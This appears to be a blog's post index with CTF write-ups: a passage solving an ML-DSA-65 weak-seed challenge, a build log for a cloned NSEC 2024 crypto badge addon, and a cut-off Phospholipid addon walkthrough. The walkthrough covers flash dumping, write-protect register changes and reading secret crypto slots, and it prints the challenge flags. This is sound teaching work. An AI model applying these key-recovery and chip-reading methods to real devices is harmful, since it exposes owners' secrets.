(constant-byte): v=1 Signature length: 3309 Flag (first 8 bytes): 86e5a26ca58d642a Wait, what? I got it almost instantly. I tried submitting the hash…and it wasn’t correct. Ok, that’s more like the CTFs I’m used to. It took me entire too long to figure out what the issue was, so let’s step through a few things I did. The Private-Private Key? The first was to confirm I did actually get the right private key. I wrote up another utility script that signed the message with the private key generated, and would verify using the extracted public key. At the very least we can confirm that we have the right key pair. ./confirm Keygen consumed_first bytes: 32 Public key match: OK Signing literal string: \"QuantumVillageChallenge2025\" (len=27) Signature length: 3309 Verification: OK Signature first 8 bytes (hex): 86e5a26ca58d642a Alright, at least we have “Verification: OK”. More Non-Entropy! The second error I figured out was my fixed RNG. I was hardcoding the seed, but I originally was only setting the first 32 bytes (what was needed for the key pair generation). #define SEEDSPAN_MAX 32 At key generation time, ML-DSA-65 only depends on the first 32 bytes of entropy. That’s why constant [0x01] seeds reproduced the private key no matter what came after. But signing in hedged mode is different. It may consume additional RNG bytes beyond that first block, because it needs “fresh randomness” for the rnd value. If those bytes aren’t controlled, the commitment value will differ, and so will the signature. In the brute script, that meant that [0x01 × 32] + zeroes gave the right key, but the wrong signature (to what the challenge string was expecting). Only [0x01 × 256] (constant all the way through) aligned perfectly with the challenge’s expected output. #define SEEDSPAN_MAX 256 static uint8_t seedbuf[SEEDSPAN_MAX]; Once More Into the Fray The last issue I encountered was on printing out the signature hash. At this point I knew I had the right private key, and I learned more about the signature process in terms of our RNG values. I still wasn’t able to reproduce the exact signature hash that the challenge expected. I modified my brute script to also print out the full seed so I could confirm what exactly what being put into the RNG. ./brute Keygen consumed_first bytes: 32 FOUND (constant-byte): v=1 Seed: 01010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101 Signature length: 3309 Flag (first 8 bytes): 86e5a26ca58d642a Ok, that’s not the hash though… what else is going on. When my raw signature bytes didn’t match the flag, the first suspicion was maybe the library was doing something strange with the output. So I dug into how liboqs actually handles signing. The OQS_SIG_sign function doesn’t do any formatting at all, it simply writes raw bytes into a buffer that you pass in. No casting, no endian juggling. OQS_SIG_sign writes raw bytes into a buffer you provide doc. I was originally printing the output as: uint8_t *signature = (uint8_t *)malloc(siglen); ... for (size_t i = 0; i &lt; 8; i++) printf(\"%02x\", signature[i]); Which should match the raw output formatting. That eliminated liboqs as the culprit. Ultimately I reached out to the Quantum Village admins and they confirmed I had the right seed, private key, and generally the right answer. What we found out was that my endianness was wrong! There was a 16-bit word endianness swap: each adjacent two-byte pair was reversed, while the overall byte order was preserved. What I think happened was that the challenge flag was originally printed out in a slightly different format. Something like the following: uint16_t *p = (uint16_t *)signature; for (int i = 0; i &lt; 4; i++) printf(\"%04x\", p[i]); I may be completely off base and missed something here, so would love to hear if someone else has insights. But with understanding that the endianness was incorrect, that was a small tweak to the print statement in my script. Modifying it to: printf(\"Flag (first 8 bytes, pair-swapped): \"); for (int i = 0; i &lt; 8; i += 2) { printf(\"%02x%02x\", signature[i+1], signature[i]); // swap adjacent bytes } At which point, the brute script generated: ./brute Keygen consumed_first bytes: 32 FOUND (constant-byte): v=1 Seed: 01010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101 Signature length: 3309 Flag (first 8 bytes, pair-swapped): e5866ca28da52a64 And, tada, the flag qv{e5866ca28da52a64} was correct! Good enough to get first blood as well! Summary This challenge was a perfect reminder that cryptography is more than math on paper. ML-DSA-65, like other lattice-based signature schemes, is designed to withstand quantum adversaries. In practice however, security hinges on details: how randomness is seeded and how entropy sources behave. A constant-byte RNG seed turned “hedged” signing into deterministic signing. This isn’t a weaknesses in ML-DSA itself, it is an artifact of implementation, environment, and representation. And in the real world, attackers don’t care whether a failure is in the math or in implementation; oftentimes it is easier to exploit improper implementation. As quantum-safe algorithms move from research into production systems, these lessons matter. The math gives us the foundation, but operational implementation keeps the structure secure. Finally, a big thank you to the Quantum Village team and the CTF organizers. Challenges like The Entropy Heist don’t just test skills, they teach nuance, highlight blind spots, and prepare us for the future of cryptography in a post-quantum world. The full scripts to what I covered above can be found at https://github.com/padraignix/quantum-challenges. Thanks folks, until next time!" }, { "title": "Building My Own Cryptographic Badge Add-on - NSEC 2024", "url": "/ctf/2024/09/14/cryptographic-coprocessor-build/", "categories": "ctf", "tags": "nsec2024, ctf, reverse-engineering, hardware", "date": "2024-09-14 08:59:00 -0400", "content": "Introduction &amp; Recap Recently I had an opportunity to participate in the Montrehack event covering the NSEC 2024’s Cryptographic co-processor badge addon. This was a mentored session format going over the CTF challenges and offering an opportunity for those who weren’t able to participate at NSEC. Jonathan Marcil reached out and aked if I would be interested in helping out and I was overjoyed to say yes. The event itself was fantastic, and I was happy to see more people “get it” as I did during the CTF. Here’s to many more events, more hardware, and more challenges to come! But now it’s time to go further! In my last post I showed the CTF Addon DIY Kit that was shared out to teams who successfully dumped the flash of the addon during NSEC. Reinvigorated from the Montrehack event it’s time to go through and build my own phospholipid. Over the last few years, between the Horse, the PAD, the Tie, and other hardware devices at NSEC I’ve managed to build up a small amount of knowledge in how to reverse and debug ESP32 chips and code, however until now, I have had very limited exposure to building that same hardware, and I was quite excited for the opportunity. Parts &amp; Schematics Ok where to start? We have the DIY kit, and the schematic. So let’s think this out. There are essentially three “main” components I am thinking through. First, the actual NSEC badge. I have that handy, with the addon firmware already on it. Secondly, the W25Q64JV flash memory part of the DIY Kit. That came unprovisioned, however I have flash dumps from NSEC handy, so could in theory “provision” it rather easily. Lastly, the ATECC608B cryptographic co-processor. Here is where the main challenge will be as I don’t have an easy way to provision that. I figured one step at a time however, since the first two challenges of the track include working with flash memory and, mostly, not the ATECC608B. So let’s work on getting everything setup on the breadboard, get our dumped flash written, and verify we have a initial working base before moving to the more complicated part. Soldering &amp; Validation We have a small amount of soldering to do right at the start. Both the flash memory and ATECC608B need to be attached to the provided breakout boards. This allows us to attach the chips on a breadboard and prototype without permanently affixing the chips. With a bit of flux, and a slightly messy solder job (to be fair I cleaned the flux residue off after this picture), both are now ready to be used. I wanted to test the W25Q64JV flash before putting together the full addon on the breadboard. I decided to use the same setup In used during NSEC, hooking up the chip to a Flipper Zero, with a minimal circuit, to ensure that things are working as expected. The part that took me longer to figure out was which breakout pin corresponded to which SOIC pin. You’d think it would be obvious but since the chip pins and breakout pins were 90 degrees from one another, it took me a bit of time to figure out the breakout board starts top left with pin 1 and moves counter clockwise to 8. Part of not having worked with this before and I’m glad I struggled as it forced me to read, and ultimately learn, more. Alright so far so good. Let’s build from here and put together the full addon. Breadboard Build I honestly think this was my favorite part of the build. Getting the connections in place was straightforward, but you could also delve into the realm of art. I spent a bit of time mentally modelling how to put it together on the breadboard. There are essentially three main sections, the flash, the crypto co-processor, and the SAO connectors. Technically, since this is on the breadboard, the SAO connectors are just wires that will go from the breadboard to the ESP32 badge. I tried to design it in a way that would result in the least amount of overlapping wires as possible. This wasn’t a hard requirement, but I figured if I’m going to do this might as well try and keep it clean. Bonus points if you noticed the brown cable and identified that I bridge the Write Protect pin of the W25Q64JV to VCC to pull it up. Firmware Flashing Alright great, let’s get the W25Q64JV provisioned. This was a bit of a cheat, but I already had the dump and could easily connect to the chip, so let’s use the same process and write to it. That seemed to work. Time for the first real test though - let’s connect the SAO wires from our addon to the NSEC badge and see if we can work with it. Disclaimer - the savvy reader may question the LOCK_ZONE_CONFIG Locked above. This was taken after I initially provisioned, but didn’t lock, the ATECC608B. I forgot to take a screenshot with details at that step, but the same errors are seen pre-crypto provisioning. Awesome! Now the read test. Let’s update the registers in raw mode and try to read the first 128 how we did as part of the CTF. nsec&gt; raw_read_registers Status Register-1 : 0x2c Status Register-2 : 0x02 Status Register-3 : 0x60 That is fantastic. We expect the cryptographic operations to fail at the moment, but our custom-built addon is connected, interactable, and we just confirmed the registers and flash work as expected. With this working base, we can move on to the next part - provisioning the ATECC608B. Cryptographic Provisioning This part of provisioning was quite a challenge. While the actual badge firmware code was released, the ATECC608B provisioning code was not public at the time of writing. I reached out to Jonathan Marcil and discussed my interest in recreating the addon. He graciously sent me the code he used and that is what I’ll be going over in this section. Even with the code, it was not straightforward as I ended up using an ESP32S3 chip, not the ESP32-Wroom, to provision the chip, which introduced its own challenges to adjust. Customizing Source Code Let’s start with the custom README details. # ctf-addon-prov esp32-wroom firmware to provision the CTF addon. fits under 1MB. &gt; [!WARNING] &gt; This does irreversible changes to the ATECC608A chip when connected to SDA/SDL. You've been warned. This is based out of a firmware branch of [ESP-CRYPTOAUTHLIB](https://github.com/espressif/esp-cryptoauthlib/tree/feature/add_firmware_source_code). They also provide a a python script helper that we're getting from the upstream/master. See section bellow for their README. And created &amp; tested for ATECC608B-TCSM which is the CUSTOM variant. Its datasheet is under NDA but the [508 is the same](https://cdn.sparkfun.com/assets/learn_tutorials/1/0/0/3/Microchip_ATECC508A_Datasheet.pdf). The [datasheet for ATECC608B-TFLXTLS](https://ww1.microchip.com/downloads/aemDocuments/documents/SCBU/ProductDocuments/DataSheets/ATECC608B-TFLXTLS-CryptoAuthentication-Data-DS40002249.pdf) is also handy for the Slot Configuration Summary. The README continues with essentially three steps. The first is to build the ESP32 variant firmware. This is the base that will allow us to work with the ATECC608B. ## build From ESP-IDF 5.1, `cd esp_cryptoauth_utility/firmware`. Build &amp; load the firmware `idf.py build flash monitor`. You can try `help` to check if you see `nsec_prov` (don't run it!). The firmware won't do anything unless you call `init 21 22` (SDA=21 SDL=22) which might lock some things on the original firmware but not on the NSEC version. Exit the monitor before you mess everything up (speaking from experience). The second step is to provision the ATECC608B. ## provision With the firmware loaded and the SDA and SDL connected to PIN 21 and 22: `cd esp_cryptoauth_utility` &gt; [!WARNING] &gt; This does permanent irreversible changes to the ATECC608A chip `python secure_cert_mfg.py --nsec --nsec_lock --target_chip esp32 --signer-cert signercert.pem --signer-cert-private-key signerkey.pem --port COM4` When you see `Wait for init` press the RESET button on the ESP32. This will output the \"Device cert\" to STDIN and also save it under /output_files/ with the serial number in the file name. If you see a bunch of `secure_element: Status: Success` it's good. SUCCESS!!! At this point if you run this two times, you'll erase the old device cert. Since the provision has a step that will irreversibly lock the ATECC608B, there is also a test section that allows us to provision without locking the Data Zone. Considering I only have chip and haven’t gone through provisioning before, I will definitely be leveraging this section. ## testing To only provision and lock the config zone and leave the data zone unlocked, remove `--nsec_lock`: `python secure_cert_mfg.py --nsec --target_chip esp32 --signer-cert signercert.pem --signer-cert-private-key signerkey.pem --port COM4` Some keys will still be writable, as the slot config write_config set to 0 will allow it. If you locked the config but not the data, nsec_prov will bug out and the script will skip nsec_lock_data and the generic provision_trustcustom_device. So if you want to generate device specific certs, like the original firmware, you can run the command without any nsec parameters: `python secure_cert_mfg.py --target_chip esp32 --signer-cert signercert.pem --signer-cert-private-key signerkey.pem --port COM9` Since the original code was modified to not lock the chip, this is fine to run. ESP IDF Build There were a few different things I had to do to be able to build the ESP32 firmware. Firstly, I needed to setup the toolset. I ended up going with the VSCode extension as it simplified the install process for me. I did end up installing ESP IDF 5.3, which is different than the 5.1 referenced in the documentation. Thankfully, this ended up not being materially different for the project. With the extension installed I had few defaults to update, like setting the Espressif Target to esp32s3 (the devkit I was using). With all the configurations in place, or so I thought at the time, I tried to build the firmware. ctf-addon-prov-main/cryptoauthlib/lib/mbedtls/atca_mbedtls_wrap.c:882:10: fatal error: mbedtls/pk_internal.h: No such file or directory 882 | #include \"mbedtls/pk_internal.h\" | ^~~~~~~~~~~~~~~~~~~~~~~ compilation terminated. Well that wasn’t ideal. With a lot of research, discussions, and reading Espressif documentation, I realized that the issue was that I hadn’t setup the mbedtls option using IDF’s menuconfig. The problem was that the code I was sent wasn’t an ESP IDF project as-is, in other words it did not have an existing sdkconfig file. Trying to import the code/folder into a new IDF project also wasn’t working. I ended up creating a brand new ESP IDF project, taking the default sdkconfig that was generated, and copying it back into the addon code base. To my utmost surprise, this actually worked! I was able to run idf.py menuconfig at this point and set the required mbedtls options. All that was left was giving the build and flash another shot. idf.py build flash monitor Executing action: all (aliases: build) Running ninja in directory ... Bootloader binary size 0x5260 bytes. 0x2da0 bytes (36%) free. Executing action: flash Serial port COM6 Connecting.... Detecting chip type... ESP32-S3 Running ninja in directory ... Executing \"ninja flash\"... [1/5] cmd.exe /C \"cd /D .../esp_cryptoauth_utility/firmware/build/ecu_firmware.bin ecu_firmware.bin binary size 0x542a0 bytes. Smallest app partition is 0x100000 bytes. 0xabd60 bytes (67%) free. [1/1] cmd.exe /C \"cd /D .../esp_cryptoauth_utility/firmware/build/bootloader/bootloader.bin Bootloader binary size 0x5260 bytes. 0x2da0 bytes (36%) free. [2/3] cmd.exe /C \"cd /D ...\\esp\\v5.3\\esp-idf\\components\\esptool_py &amp;&amp; C:.../bootloader.bin 0x10000 ecu_firmware.bin 0x8000 partition_table/partition-table.bi esptool.py v4.8.dev5 Serial port COM6 Connecting.... Chip is ESP32-S3 (QFN56) (revision v0.2) Features: WiFi, BLE, Embedded PSRAM 8MB (AP_3v3) Crystal is 40MHz MAC: 48:27:e2:e9:15:84 Uploading stub... Running stub... Stub running... Changing baud rate to 460800 Changed. Configuring flash size... Flash will be erased from 0x00000000 to 0x00005fff... Flash will be erased from 0x00010000 to 0x00064fff... Flash will be erased from 0x00008000 to 0x00008fff... SHA digest in image updated Compressed 21088 bytes to 13045... Writing at 0x00000000... (100 %) Wrote 21088 bytes (13045 compressed) at 0x00000000 in 0.5 seconds (effective 336.8 kbit/s)... Hash of data verified. Compressed 344736 bytes to 175954... Writing at 0x00010000... (9 %) Writing at 0x0001feaa... (18 %) Writing at 0x00029db3... (27 %) Writing at 0x0002fb1d... (36 %) Writing at 0x00035fb3... (45 %) Writing at 0x0003c8bf... (54 %) Writing at 0x00042915... (63 %) Writing at 0x00048c4b... (72 %) Writing at 0x000506c8... (81 %) Writing at 0x00058ef1... (90 %) Writing at 0x0005f3bf... (100 %) Wrote 344736 bytes (175954 compressed) at 0x00010000 in 4.1 seconds (effective 665.2 kbit/s)... Hash of data verified. Compressed 3072 bytes to 103... Writing at 0x00008000... (100 %) Wrote 3072 bytes (103 compressed) at 0x00008000 in 0.0 seconds (effective 696.5 kbit/s)... Hash of data verified. Leaving... Hard resetting via RTS pin... Executing action: monitor Running idf_monitor in directory ...\\esp_cryptoauth_utility\\firmware Executing \"python.exe ...\\esp\\v5.3\\esp-idf\\tools/idf_monitor.py -p COM6 -b 115200 --toolchain-prefix xtensa-esp32s3-elf- --target esp32s3 --revision 0 ...\\esp_cryptoauth_utility\\firmware\\build\\ecu_firmware.elf --force-color -m '...espressif\\python_env\\idf5.3_py3.11_env\\Scripts\\python.exe' '...\\esp\\v5.3\\esp-idf\\tools\\idf.py' --- WARNING: GDB cannot open serial ports accessed as COMx --- Using \\\\.\\COM6 instead... --- esp-idf-monitor 1.4.0 on \\\\.\\COM6 115200 --- --- Quit: Ctrl+] | Menu: Ctrl+T | Help: Ctrl+T followed by Ctrl+H --- ESP-ROM:esp32s3-20210327 Build:Mar 27 2021 rst:0x1 (POWERON),boot:0x2b (SPI_FAST_FLASH_BOOT) SPIWP:0xee mode:DIO, clock div:1 load:0x3fce2810,len:0x178c load:0x403c8700,len:0x4 load:0x403c8704,len:0xcb8 load:0x403cb700,len:0x2db0 entry 0x403c8914 I (27) boot: ESP-IDF v5.3 2nd stage bootloader I (27) boot: compile time Aug 30 2024 13:57:59 I (27) boot: Multicore bootloader I (30) boot: chip revision: v0.2 I (34) boot.esp32s3: Boot SPI Speed : 80MHz I (38) boot.esp32s3: SPI Mode : DIO I (43) boot.esp32s3: SPI Flash Size : 2MB I (48) boot: Enabling RNG early entropy source... I (53) boot: Partition Table: I (57) boot: ## Label Usage Type ST Offset Length I (64) boot: 0 nvs WiFi data 01 02 00009000 00006000 I (72) boot: 1 phy_init RF data 01 01 0000f000 00001000 I (79) boot: 2 factory factory app 00 00 00010000 00100000 I (87) boot: End of partition table I (91) esp_image: segment 0: paddr=00010020 vaddr=3c030020 size=14c60h ( 85088) map I (114) esp_image: segment 1: paddr=00024c88 vaddr=3fc93e00 size=02b0ch ( 11020) load I (117) esp_image: segment 2: paddr=0002779c vaddr=40374000 size=0887ch ( 34940) load I (128) esp_image: segment 3: paddr=00030020 vaddr=42000020 size=2cd48h (183624) map I (162) esp_image: segment 4: paddr=0005cd70 vaddr=4037c87c size=0750ch ( 29964) load I (175) boot: Loaded app from partition at offset 0x10000 I (175) boot: Disabling RNG early entropy source... I (187) cpu_start: Multicore app I (196) cpu_start: Pro cpu start user code I (196) cpu_start: cpu freq: 160000000 Hz I (196) app_init: Application information: I (199) app_init: Project name: ecu_firmware I (204) app_init: App version: 1 I (209) app_init: Compile time: Sep 1 2024 02:05:38 I (215) app_init: ELF file SHA256: 27ff6759d... I (220) app_init: ESP-IDF: v5.3 I (225) efuse_init: Min chip rev: v0.0 I (229) efuse_init: Max chip rev: v0.99 I (234) efuse_init: Chip rev: v0.2 I (239) heap_init: Initializing. RAM available for dynamic allocation: I (247) heap_init: At 3FC97FB8 len 00051758 (325 KiB): RAM I (253) heap_init: At 3FCE9710 len 00005724 (21 KiB): RAM I (259) heap_init: At 3FCF0000 len 00008000 (32 KiB): DRAM I (265) heap_init: At 600FE100 len 00001EE8 (7 KiB): RTCRAM I (272) spi_flash: detected chip: gd I (275) spi_flash: flash io: dio W (279) spi_flash: Detected size(8192k) larger than the size in the binary image header(2048k). Using the size in the binary image header. W (292) i2c: This driver is an old driver, please migrate your application code to adapt `driver/i2c_master.h` I (303) sleep: Configure to isolate all GPIO pins in sleep state I (310) sleep: Enable automatic switching of GPIO sleep configuration I (317) main_task: Started on CPU0 I (327) main_task: Calling app_main() I (327) uart: queue free spaces: 32 Initialising Command line: &gt;&gt; &gt;I (327) main_task: Returned from app_main() &gt;&gt; help help [&lt;string&gt;] Print the summary of all registered commands if no arguments are given, otherwise print summary of given command. &lt;string&gt; Name of command init Initialize the ATECC chip on WROOM32SE locks config, data zone if not locked already Usage:init Example:init print-chip-info Print the Serial Number of the atecc608a chip Serial number is a 9 byte number, unique to every chip Usage:print-chip-info Example:print-chip-info generate-keys Generates an internal ECC private key inside the given slot of ATECC608 returns its public key By default only slots 0,1,2 are supported Usage: generate-keys &lt;slot number&gt; Example: generate-keys 0 generate-csr Generates a CSR from private key in specified slot. Private key must be genereated at least once on specified slot for this command to succeed. Information such as CN,O as well as the priv key slot etc. is picked from cert_def generated by python script. Usage:generate-csr Example: generate-csr generate-pubkey Generates a public key from the present key-pair generate-keys must be executed at least once on specified slot to succeed Usage:generate-pubkey &lt;slot number&gt; Example: generate-pubkey 0 provide-cert-def Provides the cert definition of device cert of signer cert to the atecc chip Usage:provide-cert-def 0 for device cert and provide cert def 1 for signer cert Example:provide-cert-def 0(device) program-dev-cert Sets the UART command handler to input the device certificate. Usage:program-dev-cert lock program-signer-cert Sets the UART command handler to input the signer certificate. Usage:program-signer-cert lock get-tngtls-root-cert get tngtls root cert, which already stored on the device The ATECC608 device type should be TNG ( Trust &amp; G0 ) Usage:get-tngtls-root-cert Example: get-tngtls-root-cert get-tngtls-signer-cert get tngtls signer cert, which already stored on the device The ATECC608 device type should be TNG ( Trust &amp; GO ) Usage:get-tngtls-signer-cert Example: get-tngtls-signer-cert get-tngtls-device-cert get tngtls device cert, which already stored on the device The ATECC608 device type should be TNG ( Trust &amp; GO ) Usage:get-tngtls-device-cert Example: get-tngtls-device-cert nsec_prov provision the device automatically nsec_config_and_lock config and lock the configuration nsec_lock_data lock the data zone Success! With the devkit firmware loaded, we can move on to attempting to provision the ATECC608B. Let’s keep it going. ATECC608B Provisioning Going back to the README sections above, we know we will be using secure_cert_mfg.py to actually trigger the provision. Unlike the example in the README however, we need to change it for our target platform, esp32s3, and the pins we connected our chip to, which ended up being 11 and 12. The provisioning command then became: python secure_cert_mfg.py --port COM6 --nsec --target_chip esp32s3 --i2c-sda-pin 12 --i2c-scl-pin 11 I left the lock out initially as I wasn’t sure this would even work. It would have been a shame to get this far and then accidentally brick the chip, so I kept it safe for the initial provisioning. So far so good, we see it connected to our provisioned pins and was able to identify the ATECC608B variant. Which also looks good! Not only was it able to write the private keys at the right data slots, but the built in HMAC validation in the source code also looks good. At this point I was excited and put the ATECC608B back into my breadboard addon and booted it up. While the decrypt functionality was not working properly, yet, I was able to verify that the public key was the same as what I saw during NSEC. I expected nothing less considering the built in provisioning validation, however it was nice to confirm with data I had gathered myself. Locking Data Zone It’s time for the finale - let’s lock down this chip and see if we can get our phospholipid clone completed. Going back yet again to the README, considering we already did a provision without a lock, we have the next steps to get it locked. You can also just connect with `cd firmware, idf.py monitor` and call `init 21 22` to give those commands: `nsec_config_and_lock` this is required to be able to run nsec_prov for some parts, some slots only works then config is locked `nsec_prov` to write the global private key to slot 2 but won't write the hmac one to slot 9 if it's already written `nsec_lock_data` to lock the data once and for good (this is useful when you have done testing and wants to make it like production) After connecting the ATECC608B to the devkit, I started off with an init 12 11 to make sure things were ready. That looks as expected. Let’s trigger the nsec_lock_data now. I guess I can’t ask for a cleaner output. In theory at this point we are done. The last thing to do is connect the ATECC608B back to the custom addon, and validate. So let’s see if our efforts worked out! Full Validation Right away we can tell we are getting somewhere. Connecting to the terminal, we see the LOCK_ZONE_DATA is locked, and where we previously saw a decryption error during the boot sequence, we see something slightly different now - the boot flag. Similarly, for the read_another_128 function, while previously we were able to read the flash memory location, it was not able to decrypt the flag. I validated that the function now successfully decrypts the flag. Stepping through the remaining crypto operations they all similarly operate as expected from the NSEC CTF experience. At this point I’m good calling this a successful phospholipid addon clone! Summary What a journey! I learned a ridiculous amount from the NSEC track alone, but a seemingly simple act like providing a DIY kit with spare parts kicked off a learning journey the last few months that will hopefully only grow from here. I still can’t thank NSEC for the opportunities over the last several years to get hands-on with hardware where otherwise I may not have had a chance. I also need to thank Jonathan Marcil, not only for building this awesome track, and having the foresight to help expand knowledge, but for entertaining my discussions, and helping me where I needed a little guidance on how to move forward. I can confidently say I knew very little before this project, and coming out of it I feel much more comfortable working with the ESP IDF toolset. Also, I want to call back to the initial section of this post. Personally stepping through solving the original track and building my own variant of the addon was fantastic, but I had just as much fun, if not even more, helping facilitate the Montrehack event and helping others start their own journeys of learning through this awesome track. This was one of the first times I stepped into the role, but definitely not the last - I hope to have more updates in the coming months that I can share. Until then, keep hungry and keep learning! Thanks folks, until next time!" }, { "title": "NSEC 2024 - Badge Addon - Phospholipid", "url": "/ctf/2024/05/25/nsec2024-badgelife-addon/", "categories": "ctf", "tags": "nsec2024, ctf, reverse-engineering, hardware", "date": "2024-05-25 08:59:00 -0400", "content": "Introduction Ah the Phospholipid Badge Addon! This ended up being my favorite part of the CTF this year, and frankly the one that took up most of my time. A highlight for me every year at NSEC are the hardware tracks. I do not get many opportunities to dive into hardware-based, hands-on, CTF challenges remotely, so when I attend an event in person and I can do so I jump right in. NSEC has done a great job building on previous versions, such as The Horse Pt. 1 and The Horse Pt. 2, and this year frankly outdid themselves by essentially providing three separate experiences on the same badge. When it was originally whispered through the grapevine that the conference badge, which while had no embedded flags did provide an interesting social challenge, would be used for the CTF itself, I was curious how they would approach it. I am happy to say I was first in line to get the CTF firmware flashed as they opened, and outright floored when a further addon Phospholipid portion was dropped off at our team’s table. This writeup will focus only on the Phospholipid addon of the badge. I plan on potentially adding other writeups focusing on the CTF firmware and conference social aspects afterwards. During the closing ceremony an overview of the completion rates was provided and it partially shocked me that while I had managed to solve ECDH (which only two other teams completed), I woefully missed out on the another_128 during the CTF. That was rectified afterwards and frankly is a testament to the quality and enjoyment I had as even after the CTF I continued to hack away at the addon. Lastly, before we dive in to the track, I want to thank all the NSEC staff, volunteers, and challenge designers for making the event as special as it always is. I’d also like to thank my teammates from Cyber Crew, it would not have been the same experience without you all. Lastly, I want to explicitly thank Jonathan Marcil for designing this Phospholipid addon track, as well as entertaining my questions after the close of the CTF. I learned a ridiculous amount as a result, and I hope that this writeup at least provides some justice to how good of an experience it was. With that, let’s jump in! Phospholipid Addon This journey started off with a hand-delivery to the team’s table as well as a new forum post. The spec sheet provided excellent information and forshadowed an overall theme of this track - reading the docs! Ok good information on what we will be dealing with. I’ve learned my lesson the hard way once before! I decided to read fully through the datasheet before attempting to connect anything else. Plug Me The datasheet provided instructions on how to wire the addon to our conference badge, indicators to look at like the blue LED to make sure everything was correct, and an overview of the commands we could expect to see once the addon firmware was installed and activated. I thought this part was a smart way to introduce the concepts to anyone who had not worked with hardware before and provided just enough of a challenge that it was not trivial. Once everything was connected cable wise, our serial connection was established, and we rebooted the badge, we were greeted with a few nice lines of debug, again foreshadowing for later, and our first flag! └─$ ./askgod submit FLAG-PWT4RB47KVA Congratulations, you score your team 3 points! Message: All plugged in and ready to go! Flash Dump Almost immediately this is where I deviated from the intended path. Instead of diving into the challenges through the serial console, I looked at the addon and asked myself “how can I dump this firmware?”. My experience up to now had been with esp32-style chips and using esptool so this was a new challenge for me. Looking for similar tooling for W25Q64JV chips did not come up with anything useful, so I decided to take a more generic approach. Let’s see if I can get it using my Flipper Zero! Side note, I loved that the FZ made an appearance at the Hacker Jeopardy night. After a quick bit of googling (specific verbiage for Jonathan Marcil to cringe at) I quickly found SPI Mem Manager. With the wiring connection provided it should hopefully just be a matter of connect the dots. Small problem however… looking back at the datasheet provided with the addon, we see that the VCC/GND of the chip isn’t hooked up to the 2x4 connector on top of the addon. In retrospect, despite the fog of the CTF I should have realized I could easily connect VCC/GND from the 2x3 SAO connector on the bottom of the addon without any more complicated cables. But where is the fun in doing things the simple way! Ok, this might be a challenge (narrator voice But it shouldn’t have been - see note above). I doubt I can hold cables on the flash pins steadily enough to make it work. Thankfully my buddy Boschko hooked me up with a few extra connectors and it was stable enough to read properly! After getting the firmware over to my VM a quick strings and we got the first actual flag, and a bonus (more on that at the end of the writeup). Read First 128 Alright, we got this flag already from the dump, but what was the inteded way to do this? Going down this path is fundamental as it will teach us to work with the addon hardware more directly, and the knowledge will be required to do the second flag. So let’s step through that command and see if we can read? Well that doesn’t look great… what can we do? If we go back to the datasheet we can see probably why we can’t write. WP: Write Protect; optional connection for SPI FLASH Ok, that seems interesting. Let’s go find the W25Q64JV vendor spec sheets as well if there is more information. Again, this will end up being useful moreso for the next flag, but let’s see what it says about the WP. Interesting. If we go back to the provided Phospholipid datasheet there is one more clue. Ok, ok. In theory, if we are able to pull up the WP, we might be able to successfully write. Let’s connect the WP pin to an SAO VCC pin and… well a new green led has lit up, so far so good. But if we try to writing… still no luck. Oh wait, if we careful read the documentation above this only impacts the ability to write to Status Registers. Wait, we saw that in the initial recon. Let’s jump into SPI mode using raw_toggle. What does this even mean? Back to the datasheets! We seem to be able to control Register1 with the command raw_write_register1 so let’s focus on what that one does. Since the register is currently 0x9C, or 10011100, we can tell that: SRP is 1 Block protect bits are all set We understand by pulling up WP we moved it to Hardware Unprotected which hopefully confirms our suspicion with being able to write the register Those block protect bits seem suspicious. Let’s try to remove those and see if we can then write our 0xAA value in the regular mode. Removing those bits gives us the register value of 10000000, or 0x80. Here goes…something?! Well at least it looks like it stuck! Let’s go ahead and toggle raw mode back over and see if we can get our flag the proper way! Yes! I smell a flag. Excellent. Alright that’s now two ways to get the first flag. Time to move on to the next one. Read Another 128 With the modifications from the first flag in, let’s try the next command. Well, we did just allow ourselves to write, so let’s go back and reset the register to see if that helps. Closer! So we need to block writing at 0x050048 but be able to write at 0x080048. Hum… up to now we have more or less turned on the ability to write or not. Back to the datasheets! It seems we should be able to control arbitrary areas of memory protection. That seems exactly like what we need. We have our required addresses, so let’s find the combination that will work for us. It looks like there is only one. Alright so the register should be 00101100 or 0x2C. Let’s set the register and give the command another shot. And there we go! Our knowledge of the W25Q64JV chip has come in handy and we now know how to control registers and protect memory. Crypto Read Zone I have to admit I kind of stumbled onto this one. I started enumerating the slots and blocks I could read with the crypto_read_zone command and ran into: nsec&gt; crypto_read_zone 8 8 I'll only read block 8 in slot 8 if block 5 in slot 8 starts with 0x42! Exiting... nsec&gt; Well good thing we have a crypto_write32_from_hex command as well. Let’s see if we can add a 0x42 as the first byte. And sure enough, there’s our flag! └─$ ./askgod submit FLAG-QKANDCND2XT Congratulations, you score your team 2 points! Message: Yup there’s a flag there, in clear, in the crypto chip! Crypto HMAC Time for the next command! nsec&gt; crypto_hmac_rnd Performing HMAC of random number as string 682310489 with SLOT ID 9... First 32 chars result: E71E378AD6C2A8CBD0BE46C8D2E2B64D Can you generate a HMAC of 138160109146 in the same way? Submit the first uppercased 32 chars of that appended to FLAG-. Ok, if we are able to read the value of slot 9, we should be able to get the key to perform the arbitrary HMAC. Excellent, we have everything we need now to perform the HMAC and use the first 32 bits as the flag. └─$ ./askgod submit FLAG-7a3bedba41c8ea1899fef2d68c7571ef Congratulations, you score your team 3 points! Message: This was easy right? You know how to look at data now… Crypto ECDH Time to step into the deep end! Crypto ECDH ended up being my favorite challenge of NSEC2024. It required combining the experience we’ve gathered with commands on the addon and building on how real-world crypto operates. I have to admit when I finally understood what we needed to do with this challenge, created my own P256 keypair and was able to successfully trigger the comparison, it felt great. I’ll step through how I solved this, but know this was after hours of scratching my head, failed attempts, and a ridiculous amount of searching online. Alright, let’s start with what we know. crypto_ECDH_premaster_secret [hex chars] Validate the provided hex string matches the calculated premaster secret. Using private key from slot 2 and user provided public key in slot 13. We know how to read, and there is a specific command for crypto_print_pubkey, so 